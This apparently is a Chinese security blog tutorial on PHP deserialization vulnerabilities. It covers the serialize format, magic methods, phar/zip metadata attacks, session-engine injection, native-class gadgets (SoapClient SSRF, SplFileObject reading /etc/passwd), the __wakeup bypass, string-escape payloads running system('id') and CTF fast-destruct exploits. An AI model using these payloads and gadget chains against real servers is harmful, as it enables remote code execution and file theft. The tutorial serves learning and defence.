首发于

网安之路

序列化与反序列化安全问题学习(上)-PHP

Eki

A Dreamer of Dreams

前言-序列化和反序列化

序列化是指把对象转换成有序字节流,以便在网络上传输或者保存在本地文件中。

序列化后的字节流保存了对象的状态以及相关的描述信息。客户端从文件中或网络上获得序列化后的对象字节流后,根据字节流中所保存的对象状态及描述信息,通过反序列化重建对象。

本质上讲,序列化就是把实体对象状态按照一定的格式写入到有序字节流,反序列化就是从有序字节流重建对象,恢复对象状态。序列化机制的核心作用就是对象状态的保存与重建。

为什么需要序列化和反序列化?

比如你想要买一个很大的衣柜,显然,受物流尺寸限制,衣柜不可能直接整个从工厂运到你家里。一般来说,衣柜需要在工厂进行拆解成零件,也就是序列化,在运输过程中,以零件的形式(在网络中就是以字节流的形式)运输到你的家中,在你的家里重新装配起来进行使用,这也就是反序列化。

设计序列化和反序列的一般思路:

序列化主要产物是:键值对以及键之间的关系。描述清楚这些就能描述一个具体的对象。对象的方法不需要通过序列化传输,因为通信双方都已经做了实现。序列化一般也是通过固定的函数来实现在php中对应的就是serailize(),在java中是writeObject()...

反序列的目标是是重建对象,而传输的是字节流,为了重建对象需要对字节流进行解析,此时可以用一些固定的方法。在后文中我们可以看到,在php中对应的就是unserailize(),在java中是readObject()。这里方法往往带有“钩子函数”或者可以被重载,比如php中的__wakeup()和python pickle中的__reduce__()。方便开发者对类的序列化过程进行自定义。然而这些函数在方便开发者时,也给攻击者提供了切入点,通过一些设计缺陷,攻击者可以在这些反序列函数中开展攻击。

一般来说,重建对象先是建立一个“空对象”,然后进行赋值,在赋值阶段就会用到一些对象的方法,比如在php中的魔术函数,在java中约定的get和set函数。对于攻击者来说,复杂的魔术函数带来的互相调用可以带来更多的攻击机会,这些攻击链可能是开发者完全没有想到的甚至难以避免的,通过构造复杂的反序列化链,攻击者可以实现一些原来很困难的攻击。而对于像pickle这样通过在栈上执行语言实现反序列化的协议来说,攻击手段就更为多变了。

本篇文章将会是序列化与反序列化安全问题学习系列的第一篇文章,记录本人在学习序列化与反序列化安全问题过程中遇到的一些知识点,与读者分享。

PHP中的序列化与反序列化

PHP序列化协议

Example:

<?php
class Test
{
    public $name = "Snoopy";
    public $age = 0.1;
    public $secret = 0;
    public $hobbies = array("bughunting", "softwaresecurity");
    public $bug_hunter = True;
}

#序列化得到的值
#a:3:{i:0;s:6:"Google";i:1;s:5:"EkiXu";i:2;s:8:"Facebook";}

对应的

  • O:对象名称的长度:“类名称”:类中的属性数量:{属性} O:4:"Test":5
  • { data } 用5个属性表示对象的数据结构 $name, $age, $secret, $hobbies, $bug_hunter
  • s:字符串的长度:“字符串值”; s:4:"name";s:6:"Snoopy";
  • d:浮点数 s:3:"age";d:0.1;
  • i:整数; s:6:"secret";i:0;
  • a:元素数量:{元素} a:2:{i:0;s:10:"bughunting";i:1;s:16:"softwaresecurity";}
  • b:布尔值; s:10:"bug_hunter";b:1;

特别注意的是如果类的属性是privateprotected的,那么在序列化时,字段名前面会加上\\0\\0的前缀。这里的\\0表示ASCII码为 0的字符(不可见字符),而不是 \\0 组合。一般我们可以通过urlencode或者16进制的方式来传输。

PHP序列化过程

PHP中的对象在序列化反序列化的每个阶段会调用一些魔术方法

__construct()//当一个对象创建时被调用
__destruct() //当一个对象销毁时被调用
__sleep()//在对象在被序列化之前运行
__wakeup()//将在反序列化之后立即被调用(通过序列化对象元素个数不符来绕过)
__clone()//当对象复制完成时调用

于此同时,在调用对象的属性和方法时也会触发一些魔术方法

__toString() //当一个对象被当作一个字符串使用
__get()//获得一个类的成员变量时调用
__set()//设置一个类的成员变量时调用
__invoke()//调用函数的方式调用一个对象时的回应方法
__call()//当调用一个对象中的不能用的方法的时候就会执行这个函数
__callStatic()//用静态方式中调用一个不可访问方法时调用
__isset()//当对不可访问属性调用isset()或empty()时调用
__unset()//当对不可访问属性调用unset()时被调用
__set_state()//调用var_export()导出类时,此静态方法会被调用。

通过这些魔术方法,可以在类与类之间构造一条反序列化攻击链

值得一提的是,在php在反序列化时找不到对应的类时,会加载:

__autoload()//尝试加载未定义的类 php7.2以后处于DEPRECATED状态,php8.0中被取消,建议使用下面函数

spl_autoload_register()

PHP序列化利用方法

unserialize

最一般的反序列化入口函数了,在反序列化的过程中会先触发__wakeup魔术方法,当然如果是echo unserialize()等形式,还会触发__toString()

Phar metadata反序列化

例如

file_get_content("phar://xxxx");

生成Phar文件

<?php
    class Evil{
        public $cmd = "ls";
        function __destruct(){
            system($this->cmd);
        }
    }
    @unlink("test.phar");
    $phar = new Phar("test.phar");
    $phar->startBuffering();
    $phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub
    $o = new Evil();
    $phar->setMetadata($o);
    $phar->addFromString("whatever.txt", "test"); //添加要压缩的文件
    $phar->stopBuffering();

相对于普通的利用方法,phar反序列化适用条件

  1. phar文件要能够上传到服务器端。
  2. 文件操作函数的参数可控,并且能使用phar://协议
  3. php < 8.0 php8.0以后Phar的元信息不再自动反序列化

其中phar对于压缩协议的支持还能带来一些其他利用手段,比如通过套一个compress 头

compress.bzip2://phar://xxxx
compress.zlib://phar://xxxx
php://filter://resource=phar://

当然phar也支持压缩文件,比如

phar://./xxx.tar.gz
phar://./xxx.zip

后缀名只是为了示意类型,实际上phar的底层实现函数之一phar_open_parsed_phar是通过文件魔数来自动判断文件类型的,这样可以绕过一些对phar token也就是 __HALT_COMPILER(); ?>的检测

同时,在对phar相关源码进行分析的时候

// php/ext/phar/zip.c
        /* read in archive comment, if any */
        if (PHAR_GET_16(locator.comment_len)) {

            metadata = p + sizeof(locator);

            if (PHAR_GET_16(locator.comment_len) != size - (metadata - buf)) {
                if (error) {
                    spprintf(error, 4096, "phar error: corrupt zip archive, zip file comment truncated in zip-based phar \\"%s\\"", fname);
                }
                php_stream_close(fp);
                pefree(mydata, mydata->is_persistent);
                return FAILURE;
            }

            phar_parse_metadata_lazy(metadata, &mydata->metadata_tracker, PHAR_GET_16(locator.comment_len), mydata->is_persistent);
        } else {
            ZVAL_UNDEF(&mydata->metadata_tracker.val);
        }

我们还可以发现Zip的注释中可以存放PharMetaData,同样可以触发phar反序列化。

通过下面代码可以生成对应的攻击Zip

<?php
    $o = serialize($exp);
    $zip = new ZipArchive();
    $res = $zip->open(\'exp.zip\',ZipArchive::CREATE); 
    $zip->addFromString(\'whatever.txt\', \'file content goes here\');
    $zip->setArchiveComment($o);
    $zip->close();

Session反序列化

主要是利用session.upload_progress来控制session内容,在混用seesion反序列化引擎时导致的序列化字符串逃逸,在使用session时触发反序列化。

PHP关于处理session有三种反序列化引擎,分别为

php、php_serialize、php_binary
php_serialize    ->与serialize函数序列化后的结果一致 
php                ->key|serialize后的结果
php_binary        ->键名的长度对应的ascii字符+键名+serialize()函数序列化的值

简单来说,在php大于5.5.4的版本中默认使用php_serialize作为反序列化引擎。然而php引擎会将|符号之前的所有内容认为是键名,之后的内容则用于反序列化。那么我们只要在php_serialize序列化的数据插入|并在之后构造恶意类的序列化数据,在使用php引擎反序列化的过程中就会触发|之后序列化数据的反序列化。

一些原生类

通过get_declared_classess()可以获取到所有可用的类,包括原生类,通过下面代码片段可用筛选一些可用的类,注意有些类是被Zend禁止序列化的,比如Sp。

 <?php
$classes = get_declared_classes();
foreach ($classes as $class) {
    $methods = get_class_methods($class);
    try{
        $raw = serialize(new $class);
    }catch(Exception $e){
        if(preg_match("/allowed/",$e->getMessage())){
            echo "Class ".$class." can not serialize\\n";
        }
    }catch(Error $e){
        if(preg_match("/allowed/",$e->getMessage())){
            echo "Class ".$class." can not serialize\\n";
        }
    }

    foreach ($methods as $method) {
        if (in_array($method, array(
            \'__destruct\',
            \'__toString\',
            \'__wakeup\',
            \'__call\',
            \'__callStatic\',
            \'__get\',
            \'__set\',
            \'__isset\',
            \'__unset\',
            \'__invoke\',
            #\'__set_state\'
        ))) {
            print $class . \'::\' . $method . "\\n";
        }
    }
} 

这里介绍几个常用的原生类

可被序列化

  • Error/Exception

__toString 导致xss,以及一些绕过

<?php
$cmd = "whatever";
$ex1 = new Exception($cmd);$ex2 = new Exception($cmd,1);

var_dump($ex1 == $ex2, sha1($ex1) == sha1($ex2));
#bool(false) bool(true)
  • SoapClient 需要开启Soap扩展

__call 魔术方法导致的SSRF,以及在unser_agent中进行CRLF注入

<?php
$target = "http://127.0.0.1/flag.php";
$post_string = \'\';
$headers = array(
    \'X-Forwarded-For: 127.0.0.1\',
    \'Cookie: PHPSESSID=m6o9n632iub7u2vdv0pepcrbj2\'
);

$a = new SoapClient(null,array(\'location\' => $target,
                                \'user_agent\'=>"l1nk\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\n".join("\\r\\n",$headers)."\\r\\nContent-Length: ".(string)strlen($post_string)."\\r\\n\\r\\n".$post_string,
                                \'uri\'      => "aaab"));
  • ZipArchieve 需要开启zip拓展

open()导致的任意文件删除

<?php
$z = new ZipArchive();

$z->open("test.txt",ZipArchive::OVERWRITE);

不可序列化

  • SplFileObject

__toString读取文件,按行读取,多行需要遍历

<?php
$f = new SplFileObject("/etc/passwd");
echo $f;
$f->next();
echo $f;
  • DirectoryIterator /FilesystemIterator 遍历目录

__toString读目录和SplFileObject类似

<?php
$d = new DirectoryIterator("/");
echo $d;
$d->next();
echo $d;
  • GlobIterator

也是__toString读目录和SplFileObject类似,多的在于支持通配符

<?php
$d = new GlobIterator("/u*");
echo $d;
$d->next();
echo $d;

一些绕过Trick

wake_up绕过 CVE-2016-7124 (PHP before 5.6. 25 and 7. x before 7.0)

当序列化字符串中表示对象属性个数的值大于对象真实的属性个数时会跳过__wakeup的执行,导致在__wakeup函数中的缓解策略失效。

16进制绕过

s:5:"/flag" -> S:5:"\\2f\\66\\6c\\61\\67"

序列化字符串变长导致的反序列化逃逸

有一种常见waf方式如下,即通过正则匹配替换输入串中的危险字符。

<?php
function filter($string) {
    $escape = array(\'\\\'\', \'\\\\\\\\\');
    $escape = \'/\' . implode(\'|\', $escape) . \'/\';
    $string = preg_replace($escape, \'_\', $string);

    $safe = array(\'select\', \'insert\', \'update\', \'delete\', \'where\');
    $safe = \'/\' . implode(\'|\', $safe) . \'/i\';

    return preg_replace($safe, \'hacker\', $string);
}

同时,通过前面的介绍我们可知在php反序列化的过程中,unserilaize通过相关长度位来判断字符串长度,而不是只依靠引号界定,同时在反序列化完成后,unserialize会忽略未序列化的输入。注意到在该waf在替换where时,将5个字符的where替换成了6个字符的hacker,导致原来的输入串长度发生变化,unserialize过程发生异常。通过精心构造序列化数据,可以控制序列化数据。

比如

<?php
class Challenge{
    public $p;
    public $key;
    function __construct($p="",$key="echo \'can you beat me?\';"){
        $this->p = $p;
        $this->key = $key;
    }
    function __destruct(){
        eval($this->key);
    }
}

if(!isset($_GET[\'p\'])){
    $raw = seialize(new Challenge($_GET[\'p\']));
    $safe = filter($raw);
    $a = unserialize($safe);
}else {
    $a = new Challenge();
}

只能注入p,然而filter之后的字符变化可以让我们控制序列化数据,通过一个where能向后逃逸出一个字符,我们希望在p的值后能逃逸出这些字符,那么只要堆叠34个where即可

";s:3:"key";s:13:"system("id");";}

结果如下图所示,可以看到成功执行了命令

同理,如果filter让字符串变短,也可以控制序列化的结构,不过此时需要控制两个参数,即前一个参数破坏后一个参数的头结构,那么后一个参数就逃逸出来了。

Broken Structure导致的Fast Destruct

这里以强网杯,WhereIsUWebShell为例

下面是简化的代码

<?php
// index.php
ini_set(\'display_errors\', \'on\');

include "function.php";
$res = unserialize($_REQUEST[\'ctfer\']);
if(preg_match(\'/myclass/i\',serialize($res))){
    throw new Exception("Error: Class \'myclass\' not found ");
}
highlight_file(__FILE__);
echo "<br>";
highlight_file("myclass.php");
echo "<br>";
highlight_file("function.php");

用到的其他文件如下

<?php
// myclass.php
class Hello{
    public function __destruct()
    {   
        if($this->qwb) echo file_get_contents($this->qwb);
    }
}
?>
<?php
// function.php
function __autoload($classname){
    require_once "./$classname.php";
}
?>

在这个题目中,我们需要加载myclass.php中的hello类,但是要引入hello类,根据__autoload我们需要一个classnamemyclass的类,这个类并不存在,如果我们直接去反序列化,只会在反序列化myclass类的时候报错无法进入下一步,或者在反序列化Hello的时候找不到这个类而报错。

这里引入Fast destruct的概念,在著名的php反序列工具phpggc中提及了这一概念。具体来说,在PHP中有:

1、如果单独执行unserialize函数进行常规的反序列化,那么被反序列化后的整个对象的生命周期就仅限于这个函数执行的生命周期,当这个函数执行完毕,这个类就没了,在有析构函数的情况下就会执行它。 2、如果反序列化函数序列化出来的对象被赋给了程序中的变量,那么被反序列化的对象其生命周期就会变长,由于它一直都存在于这个变量当中,当这个对象被销毁,才会执行其析构函数。

在这个题目中,反序列化得到的对象被赋给了$res导致__destruct在程序结尾才被执行,从而无法绕过perg_match代码块中的报错,如果能够进行fast destruct,那么就可以提前触发_destruct,绕过反序列化报错。

一种方式就是修改序列化字符串的结构,使得完成部分反序列化的unserialize强制退出,提前触发__destruct

#修改序列化数字元素个数
a:2:{i:0;O:7:"myclass":1:{s:1:"a";O:5:"Hello":1:{s:3:"qwb";s:5:"/flag";}}}
#去掉序列化尾部 }
a:1:{i:0;O:7:"myclass":1:{s:1:"a";O:5:"Hello":1:{s:3:"qwb";s:5:"/flag";}}

PHP_INCOMPLETE_CLASS 引发的一些问题

还有一种方式是利用PHP_INCOMPLETE_CLASS,PHP在反序列化该类的时候不会反序列化其中的对象

a:2:{i:0;O:22:"__PHP_Incomplete_Class":1:{s:3:"qwb";O:7:"myclass":0:{}}i:1;O:5:"Hello":1:{s:3:"qwb";s:5:"/flag";}}

修改一下index.phpmyclass.php以便更好地看清这一过程

<?php
// index.php
ini_set(\'display_errors\', \'on\');
include "function.php";
$res = unserialize($_REQUEST[\'ctfer\']);
var_dump($res);
echo \'<br>\';
var_dump(serialize($res));
if(preg_match(\'/myclass/i\',serialize($res))){
    echo "???";
    throw new Exception("Error: Class \'myclass\' not found ");
}
highlight_file(__FILE__);
echo "<br>";
highlight_file("myclass.php");
echo "<br>";
highlight_file("function.php");
echo "End";
<?php
// myclass.php
//class myclass{}
class Hello{
    public function __destruct()
    {   
        echo "I\'m destructed.<br/>";
        var_export($this->qwb);
        if($this->qwb) echo file_get_contents($this->qwb);
    }
}
?>

可以看到在反序列化之后,myclass作为了__PHP_Incomplete_Class,在对他进行二次序列化时,该对象会消失,从而绕过preg_match的检测,并在最后触发Hello类的反序列化。

关于PHP_INCOMPLETE_CLASS 还有一个有意思的题目

<?php
highlight_file(__FILE__);
include \'flag.php\';
$obj = $_GET[\'obj\'];
if (preg_match(\'/flag/i\', $obj)) {
    die("?");
}
$obj = @unserialize($obj);
if ($obj->flag === \'flag\') {
    $obj->flag = $flag;
}
foreach ($obj as $k => $v) {
    if ($k !== "flag") {
        echo $v;
    }
}

preg_match直接用16进制绕过即可,第二处用引用绕过即可,关键在于__PHP_Incomplete_Class的问题,如果传入的是一个不存在的类,那么obj会变成 object(__PHP_Incomplete_Class)#1,$obj->flag是取不到值的。

有趣的是在PHP中,即使我们提供的对象与远程对象的属性不一致,只要类名一致,同样能被视作同类进行反序列化而不会形成__PHP_INCOMPLETE_CLASS

比如

<?php
class A{
    public $a;
    public $b;
}

var_dump(unserialize(\'O:1:"A":1:{s:1:"c";s:1:"b";}\'));
/* Output
 object(A)#1 (3) {
  ["a"]=>
  NULL
  ["b"]=>
  NULL
  ["c"]=>
  string(1) "b"
}
 * /

所以这里我们需要设置类名为存在的类也就是Error,Exception等类,值得注意的是,诸如SplFileObject这种没法序列化的类在这里当然也是不能使用的。

有如下exp

O:5:"Error":2:{S:4:"\\66\\6c\\61\\67";S:4:"\\66\\6c\\61\\67";S:3:"aaa";R:2;}

函数闭包 Clo

参考资料

序列化与反序列化

https://tech.meituan.com/2015/02/26/serialization-vs-deserialization.html

PHP反序列化入门之session反序列化

https://mochazz.github.io/2019/01/29/PHP%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%85%A5%E9%97%A8%E4%B9%8Bsession%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/#%E4%BE%8B%E9%A2%98%E4%B8%80

从qwb webshell 题深入快速析构:

https://mp.weixin.qq.com/s?__biz=MzIzMTQ4NzE2Ng==&mid=2247487933&idx=1&sn=e57bc3583c1b80f1aa7bd08409cfb82d

从一道题再看phar的利用:

https://www.anquanke.com/post/id/240007

发布于2021-10-01 12:06:49
+15赞
0条评论
收藏
Copyright © 北京奇虎科技有限公司 三六零数字安全科技集团有限公司 安全KER All Rights Reserved 京ICP备08010314号-66